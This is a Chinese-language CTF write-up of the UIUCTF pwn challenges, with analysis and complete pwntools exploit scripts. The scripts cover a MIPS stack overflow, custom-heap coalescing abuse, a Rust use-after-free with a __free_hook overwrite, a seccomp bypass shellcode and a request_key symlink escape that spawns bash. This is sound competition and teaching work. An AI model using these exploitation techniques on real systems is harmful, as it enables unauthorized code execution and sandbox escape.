抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

我和 L3ak 一起参加了今年的 UIUCTF,最终我们排在第7。我只做了 Pwn 题,我们队最终也 AK 了 Pwn,MinatoTW is goat🐐!

本文是比赛中所有 Pwn 题(除了一道 Pwn+Rev 以外)的 Writeup。

Engllish Writeup

Backup Power

概况

Can you turn on the backup generator for the SIGPwny Transit Authority?

75 solves

这道题是 MinatoTW 解出来的,我只是在赛后复现并撰写 wp。

checksec 结果:

1
2
3
4
5
6
7
Arch:     mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

这是一道 mips 架构的栈溢出题。我用qemu-mips去运行,用gdb-multiarch调试。

题目分析

程序的主要逻辑是:

  • developerdeveloper?develper?devolper? 一个程序出现三种拼写 XD)用户只被允许执行shutdownshutup命令,没有可利用之处。

  • 登录为developer用户,command会被设置为todo。调用develper_power_management_portal()函数后回到对命令进行判断的流程。其中,develper_power_management_portal()函数中调用gets()函数,存在栈溢出。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    void __cdecl develper_power_management_portal(int cfi)
    {
    char buffer[4]; // [sp+18h] [+18h] BYREF
    int vars20; // [sp+44h] [+44h]

    gets(buffer);
    if ( vars20 != cfi )
    _stack_chk_fail_local();
    }
  • 如果commandsystem,则程序会拼接栈上变量作为system()函数的参数并执行:

    1
    2
    3
    4
    5
    6
    if ( !strcmp(command, system_str) )
    {
    sprintf(command_buf, "%s %s %s %s", arg1, arg2, arg3, arg4);
    system(command_buf);
    return 0;
    }
  • 在调用develper_power_management_portal()函数前后,程序试图通过寄存器来备份栈上变量的值:

    backup

    但是在develper_power_management_portal()函数中,程序又在调用gets()函数之后将寄存器的值设置为栈上的值:

    ruin

    因此没有起到备份的效果,我们仍然可以通过栈溢出到0x24+var_sC($sp), 0x24+var_s10($sp), ...来设置s4, s5, s6, s7从而设置arg1, arg2, arg3, arg4

至此,我们的解题路线可以归纳为:利用栈溢出设置commandsystem,并设置arg1sh;\x00,使得程序执行system("sh")。值得注意的是程序开启了cfi校验,即在develper_power_management_portal()函数返回时,会检查其返回地址有没有被修改。在这题中我们不需要劫持控制流,因此将返回地址保持原状即可。

调试

使用 qemu-mips启动程序并等待gdb远程调试:

1
qemu-mips -g 1234 ./backup-power

在另一个终端中启动gdb-multiarch并远程调试:

1
2
3
4
5
gdb-multiarch ./backup-power

pwndbg> set arch mips
pwndbg> set endian big
pwndbg> target remote :1234

可以通过 gdb 调试来定位我们需要修改的变量在栈上的位置:

1
2
pwndbg> b *0x400ee8
pwndbg> c

输入用户名devolper,再输入aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaagets()接收,就可以看到:

args

stack

command覆盖为systemarg1覆盖为sh;\x00,栈上包含程序地址处尽量保持原样即可。

值得注意的两个地方:

  1. 返回地址:上图中第二个0x400b0c。由于开启cfi,返回地址必须保持原样。
  2. gp寄存器:上图中0x4aa30会被存入gp寄存器,之后会用于计算函数偏移量,因此不能修改。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

exe = ELF("./backup-power")

context.binary = exe

def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("backup-power.chal.uiuc.tf", 1337, ssl=True)

return r


def main():
r = conn()

r.sendlineafter(b"Username: ", b'devolper')
payload = b"A" * 24 + b"sh;\x00".ljust(12, b"A") + p32(0xdeadbeef) * 2 + p32(0x400b0c)

sp = (
p32(0)*6
+ p32(0x004AA330) # that's gp, we need to keep it
+ p32(0)*5
+ b"devolper".ljust(100, b"\x00")
+ b"devolper".ljust(100, b"\x00")
+ b"system\x00" # overwrite command to system
)

payload += sp
r.sendline(payload)

r.interactive()


if __name__ == "__main__":
main()

pwnymalloc

概况

i’m tired of hearing all your complaints. pwnymalloc never complains.

65 Solves

这道题是赛中和队友共同解出来的。

题目分析

这是一道堆题,但是堆管理器是自定义的。

程序的基本功能为:

  1. 提交申诉(申请可用大小为0x48的堆块,输入内容,堆块内容被清零,堆块被释放)
  2. 查看申诉(摆设,没有实际实现)
  3. 申请退款(申请可用大小为0x88的堆块,用于存放refund_request结构体,不能被直接free
  4. 查询退款状态(状态为REFUND_APPROVED时会打印 flag )

refund_request结构体的定义如下:

1
2
3
4
5
typedef struct refund_request {
refund_status_t status;
int amount;
char reason[0x80];
} refund_request_t;

申请退款函数会将status设置为0即REFUND_DENIED,另一个状态是1即REFUND_APPROVEDamountreason都由用户输入。没有任何常规功能能直接将结构体的status设置为REFUND_APPROVED,因此需要考虑利用自定义的堆管理器来完成对该字段的修改。

由于堆块需要0x10字节对齐,因此堆块的结构可能存在下面两种情况:

chunk

当堆块可用大小为0x…8字节时,用户可用写到btag所在的8字节。正常情况下只有被free的堆块才会设置btag,这也是问题所在: 题目中的堆块可用大小都是0x…8字节,而在这种情况下,用户可以控制btag的值。

堆管理器中空闲块合并的代码对我来说比较有趣(根据unsorted bin的经验)。简单来说,在free一个堆块或者拆分一个大的堆块时,会调用coalesce()合并空闲块;该函数会检查前一个和后一个堆块的大小、状态来决定是否合并。

以合并前向块为例,有如下调用链

coalesce()->prev_chunk()->get_prev_size()get_prev_size()函数实现如下:

1
2
3
4
static size_t get_prev_size(chunk_ptr block) {
btag_t *prev_footer = (btag_t *) ((char *) block - BTAG_SIZE);
return prev_footer->size;
}

其中btag如前文所示位于每个堆块的最后8字节,堆管理器通过该值判断前向空闲堆块的大小。如果前向堆块未被free,正常情况下get_prev_size应当返回0。但如果我们将btag值设置为某一个正数,堆管理器会根据这个值去定位前向堆块的size | status,进一步判断其是否被free。通过构造 payload,我们完全可以修改某个堆块的btag,并在目标size | status处填充恰当的值,诱导堆管理器对前向的某一片连续的内存空间进行合并,不论这片内存空间处于什么样的使用状态。

攻击思路

梳理一下我们的攻击思路:

  1. 通过申请退款功能申请2个堆块(大小都为0x90)

  2. 将第二个堆块作为目标(其退款状态会被改写)

  3. 在第二个堆块的最后8字节写一个比0x90大的size作为btag(如0xb0)

  4. 在第一个堆块中间相应的位置(chunk2_addr + 0x90 - 0xb0)写上对应的size | status(如0xb0 | 0,表示被free)
    此时堆块状态:

    1

  5. 提交申诉,触发空闲块合并,会合并出一个大小为0xb0+0x50的空闲堆块,起始地址为chunk2_addr + 0x90 - 0xb0

    2

  6. 再调用申请退款函数,此时申请到的堆块起始地址为chunk2_addr + 0x90 - 0xb0,大小为0x90

  7. 这个堆块横跨第一个堆块和第二个堆块,填充合适的payload可以将第二个堆块中的refund_request->status写为1即REFUND_APPROVED

    3

  8. 调用检查退款状态函数,获得 flag

注意事项

我们伪造了一个大小为0xb0的空闲堆块,要注意在合并空闲块时会调用free_list_remove(prev_block),因此要让该假堆块的nextprev指针为0(或合法地址),否则会出现内存访问的错误。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal")

context.binary = exe


def conn():
global r
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwnymalloc.chal.uiuc.tf", 1337, ssl=True)

def complain(data):
r.sendlineafter(b"> ", b"1")
r.sendafter(b":", data)

def refund(data):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"refunded:\n", b"0") # why would i refund XD
r.sendafter(b"request:\n", data)

def win(index):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"ID:\n", str(index).encode())


def main():
conn()

# fake chunk inside
payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n'
refund(payload)
# the target chunk we will overflow
payload = b'\x00'*0x78 + p64(0xb0)[:-1]
refund(payload)
# trigger the coalesce
payload = b'BeaCox never complains\n'
complain(payload)
# overwrite the target to make it approved
payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n' # what about refunding a deadbeef?
refund(payload)
gdb.attach(r)
# win!
win(1)

r.interactive()


if __name__ == "__main__":
main()

Rusty Pointers

概况

The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.

36 Solves

这道题是赛中和队友共同解出来的。

题目分析

我从来没有写过一行 Rust 代码,但是对其内存安全特性却是早有耳闻,但……真是这样吗?

程序主要功能如下:

  1. Create a Rule or Note
  2. Delete a Rule or Note
  3. Read a Rule or Note
  4. Edit a Rule or Note
  5. Make a Law
  6. Exit

观察源代码可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]);
return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
let mut buffer = Box::new([0; LEN2]);
let mut _buffer2 = Box::new([0; 16]);
return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
return Box::new([0; LEN])
}

只有get_note()函数没有调用get_ptr,那么必有蹊跷,观察get_ptr函数:

1
2
3
4
5
6
7
8
9
10
11
12
const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
_val_a: &'a &'b (),
val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}

看上去非常难懂,但是 chatGPT 告诉我该函数的作用是延长变量的生命周期。可以在 gdb 中观察get_ruleget_note的区别:

  1. Create a Note 然后 Edit a Note 写入aaaa

  2. Create a Rule 然后 Edit a Rule 写入bbbb

  3. 查看堆

    differnce

显然,二者都会申请大小为0x50的堆块,但是get_ptr()函数会将这个堆块free掉,并允许我们继续使用这个堆块,也就是 UAF(Use After Free)。

上文提到,get_law()也调用了get_ptr(),不同的是它的大小比较大:

1
2
3
const LEN2: usize = 2000;
let mut buffer = Box::new([0; LEN2]);
return get_ptr(&mut buffer);

因此将其free后会进入 unsorted bin,其fdbk指针将会指向libc中的main_arena,造成libc leak

libc leak

攻击思路

接下来我们就需要考虑如何利用手上的 UAF 了。

libc的版本为2.31,malloc_hookfree_hook可以利用,且tcache没有safe link机制。

由于拥有 Write After Free 和 Read After Free,我们可以用Tcache Poisoning方法得到 Arbitrary Write 和 Arbitrary Read。

我们可以利用 Arbitrary Write 将free_hook写为system函数地址,然后在一个堆块(note)开头填入/bin/sh\x00并将其free,这样就会触发system('/bin/sh')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3

from pwn import *

exe = ELF("./rusty_ptrs")
libc = ELF("libc-2.31.so")
ld = ELF("ld-2.31.so")

context.binary = exe


def conn():
global r
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("rustyptrs.chal.uiuc.tf", 1337, ssl=True)

def create_rule():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"1")

def create_note():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"2")

def delete_rule(index):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())

def delete_note(index):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())

def read_rule(index):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())

def read_note(index):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())

def edit_rule(index, content):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())
r.sendlineafter(b"> ", content)

def edit_note(index, content):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())
r.sendlineafter(b"> ", content)

def make_law():
r.sendlineafter(b"> ", b"5")

def main():
conn()
# r.interactive()

make_law()
libc_leak = int(r.recvuntil(b",", drop=True), 16)
info(f"[L3ak] libc leak: {hex(libc_leak)}")
libc.address = libc_leak - 0x1ecbe0
info(f"[C4lc] libc base: {hex(libc.address)}")
free_hook_addr = libc.symbols['__free_hook']
info(f"[C4lc] free hook addr: {hex(free_hook_addr)}")
system_addr = libc.sym['system']
info(f"[C4lc] system addr: {hex(system_addr)}")
create_note()
create_note()
create_note()
create_note()
delete_note(3)
delete_note(2)
delete_note(1)
delete_note(0)
create_rule()
edit_rule(0, p64(free_hook_addr))
create_note()
create_note()
payload = p64(system_addr)
# gdb.attach(r)
edit_note(1, payload) # overwrite free_hook with system
edit_note(0, b"/bin/sh\x00") # set /bin/sh as argument
delete_note(0) # delete_note wiil trigger free_hook, which will call system("{what's in note}")

r.interactive()

if __name__ == "__main__":
main()

Syscalls

概况

You can’t escape this fortress of security.

143 Solves

这道题是赛中独立解出来的。

题目分析

这道题非常简单,程序会将我们的输入作为 shellcode 直接执行,但是通过seccomp对系统调用做了限制。用seccomp-tools能清晰地看到seccomp的规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
seccomp-tools dump ./syscalls
The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024
0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024
0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024
0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024
0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024
0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024
0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024
0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024
0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024
0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024
0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024
0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024
0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023
0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen)
0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023
0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024
0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

可以看到execveexecveat都被禁用,因此不能直接弹shellopen, read, write也被禁用。

攻击思路

可以在syscall.sh搜索open/read/write找到可替代的系统调用:open可以用openat替代,read可以用preadv2替代,write可以用pwritev2替代,仍然是用orw(open, read, write)的方式读./flag.txt。用法可以通过搜索man <syscall name>找到:

  1. openat()用法

    1
    2
    int openat(int dirfd, const char *pathname, int flags);
    int openat(int dirfd, const char *pathname, int flags, mode_t mode);

    If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process

    openat(AT_FDCWD, './flag.txt', 0)代表以只读模式打开当前工作目录下的./flag.txt文件。

  2. preadv2()pwritev2()用法

    1
    2
    ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
    ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);

    对不熟悉的系统调用/函数一般可以从互联网上找例子来理解:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    char          *str0 = "hello ";
    char *str1 = "world\n";
    ssize_t nwritten;
    struct iovec iov[2];

    iov[0].iov_base = str0;
    iov[0].iov_len = strlen(str0);
    iov[1].iov_base = str1;
    iov[1].iov_len = strlen(str1);

    nwritten = writev(STDOUT_FILENO, iov, 2);

    iov是一个结构体数组,每个结构体前8字节为要读/写的地址,后8字节为要读/写的长度;iovcnt用来表示数组中元素数量。

    Unlike preadv() and pwritev(), if the offset argument is -1, then the current file offset is used and updated.

    The flags argument contains a bitwise OR of zero or more of the following flags …

    offset设置为1其实是让系统替我们管理偏移量,flags通常都是设置为0即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3

from pwn import *

exe = ELF("./syscalls_patched")

context.binary = exe


def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)

return r


def main():
r = conn()

# openat(AT_FDCWD, "./flag.txt", 0)
# preadv2(3, {"rsp", 0x50}, 1, 0, 0)
# pwritev2(1, {"rsp", 0x50}, 1, -1, 0)

shellcode = asm(
"""
mov rax, 257
mov rdi, -100
mov rsi, 0x7478
push rsi
mov rsi, 0x742e67616c662f2e
push rsi
mov rsi, rsp
xor rdx, rdx
syscall
mov rdi, rax
mov rax, 327
mov r12, rsp
add r12, 0x50
mov r11, 0x50
push r11
push r12
mov rsi, rsp
mov rdx, 1
mov r10, -1
mov r8, 0
syscall
mov rax, 328
mov rdi, 1
syscall
"""
)
# gdb.attach(r, '''
# b *$rebase(0x12d6)'''
# )
print(shellcode)
r.sendline(shellcode)

r.interactive()


if __name__ == "__main__":
main()

我知道可以用shellcraft来构造 shellcode,但我就爱自己写 XD。

Syscalls 2

概况

I made it harder ;)
Hint: It’s not a bug, it’s a feature!

8 Solves

exp 修改自 robbert1978。

题目分析

这道题对内核做了patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Wed, 26 Jun 2024 19:39:11 -0700
Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation

They are avoided by enforcing a failure when the kernel tries to
allocate a free fd. To be extra extra safe, attempting to install
an fd after the point of no return will panic.

Child processes inherit the restriction just like seccomp.

Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
fs/file.c | 7 +++++++
include/linux/sched.h | 5 +++++
include/uapi/linux/prctl.h | 2 ++
kernel/fork.c | 3 +++
kernel/sys.c | 3 +++
5 files changed, 20 insertions(+)

diff --git a/fs/file.c b/fs/file.c
index 3b683b9101d8..d9562f8bca85 100644
--- a/fs/file.c
+++ b/fs/file.c
@@ -503,6 +503,9 @@ static int alloc_fd(unsigned start, unsigned end, unsigned flags)
int error;
struct fdtable *fdt;

+ if (task_uiuctf_no_fds_allowed(current))
+ return -EPERM;
+
spin_lock(&files->file_lock);
repeat:
fdt = files_fdtable(files);
@@ -604,6 +607,10 @@ void fd_install(unsigned int fd, struct file *file)
struct files_struct *files = current->files;
struct fdtable *fdt;

+ if (task_uiuctf_no_fds_allowed(current))
+ panic("Installing fds is actually not allowed and "
+ "I'm not trying to hide a bypass");
+
if (WARN_ON_ONCE(unlikely(file->f_mode & FMODE_BACKING)))
return;

diff --git a/include/linux/sched.h b/include/linux/sched.h
index 3c2abbc587b4..f4584022dc4c 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1698,6 +1698,8 @@ static __always_inline bool is_percpu_thread(void)
#define PFA_SPEC_IB_FORCE_DISABLE 6 /* Indirect branch speculation permanently restricted */
#define PFA_SPEC_SSB_NOEXEC 7 /* Speculative Store Bypass clear on execve() */

+#define PFA_UIUCTF_NO_FDS_ALLOWED 10
+
#define TASK_PFA_TEST(name, func) \
static inline bool task_##func(struct task_struct *p) \
{ return test_bit(PFA_##name, &p->atomic_flags); }
@@ -1739,6 +1741,9 @@ TASK_PFA_CLEAR(SPEC_IB_DISABLE, spec_ib_disable)
TASK_PFA_TEST(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
TASK_PFA_SET(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)

+TASK_PFA_TEST(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+TASK_PFA_SET(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+
static inline void
current_restore_flags(unsigned long orig_flags, unsigned long flags)
{
diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h
index 370ed14b1ae0..6075c202ca43 100644
--- a/include/uapi/linux/prctl.h
+++ b/include/uapi/linux/prctl.h
@@ -306,4 +306,6 @@ struct prctl_mm_map {
# define PR_RISCV_V_VSTATE_CTRL_NEXT_MASK 0xc
# define PR_RISCV_V_VSTATE_CTRL_MASK 0x1f

+#define PRCTL_UIUCTF_NO_FDS_ALLOWED 100
+
#endif /* _LINUX_PRCTL_H */
diff --git a/kernel/fork.c b/kernel/fork.c
index aebb3e6c96dc..692c01b13c9a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -2559,6 +2559,9 @@ __latent_entropy struct task_struct *copy_process(
*/
copy_seccomp(p);

+ if (task_uiuctf_no_fds_allowed(current))
+ task_set_uiuctf_no_fds_allowed(p);
+
init_task_pid_links(p);
if (likely(p->pid)) {
ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace);
diff --git a/kernel/sys.c b/kernel/sys.c
index 8bb106a56b3a..5bb16543a565 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -2760,6 +2760,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
case PR_RISCV_V_GET_CONTROL:
error = RISCV_V_GET_CONTROL();
break;
+ case PRCTL_UIUCTF_NO_FDS_ALLOWED:
+ task_set_uiuctf_no_fds_allowed(current);
+ break;
default:
error = -EINVAL;
break;
--
2.45.1

题目自定义了一个系统调用,程序调用prctl(PRCTL_UIUCTF_NO_FDS_ALLOWED)后,会阻止alloc_fd()fd_install()正常运行,并且在对copy_process()的修改中使得fork的子程序会继承这一属性。因此预期解是使用io_uring来读 flag:

  1. io_uring本身不需要一个新的 fd
  2. io_uring管理了自己的 fd 表,不会触发alloc_fdfd_install

攻击思路

但是我更喜欢非预期解:

首先需要理解request_key系统调用。参考manpage,用法如下:

1
2
3
key_serial_t request_key(const char *type, const char *description,
const char *_Nullable callout_info,
key_serial_t dest_keyring);

If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed:

(3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:

​ [0] The string “/sbin/request-key”.

也就是说,当我们指定的typedescription能让内核无法找到对应的key,它就会运行/sbin/request-key

非预期解的思路是:

  1. /sbin/request_key设为/init的符号链接
  2. /chal设置为/bin/bash的符号链接
  3. 使用系统调用request_key,并传入内核无法识别的typedescription
  4. request_key将调用/sbin/rquest-key->/init,新的/init不会有no_fds的过滤
  5. /init执行exec /chal->/bin/bash,弹出 shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3

from pwn import *

context.arch = "amd64"
shellcode = asm("""

lea rdi, [rip + offset init]
lea rsi, [rip + offset request_key]
mov eax, 0x58
syscall


lea rdi, [rip + offset chal]
mov eax, 0x57
syscall

lea rdi, [rip + offset bash]
lea rsi, [rip + offset chal]
mov eax, 0x58
syscall

lea rdi, [rip + offset a]
lea rsi, [rip + offset b]
lea rdx, [rip + offset c]
mov r10, 0xfffffffd
mov rax, 0xf9

syscall
ret
a:
.asciz "user"
b:
.asciz "BeaCox:nonsense"
c:
.asciz "payload:data"
init:
.asciz "/init"
chal:
.asciz "/chal"
request_key:
.asciz "/sbin/request-key"
bash:
.asciz "/bin/bash"

""")

print(shellcode.hex())

评论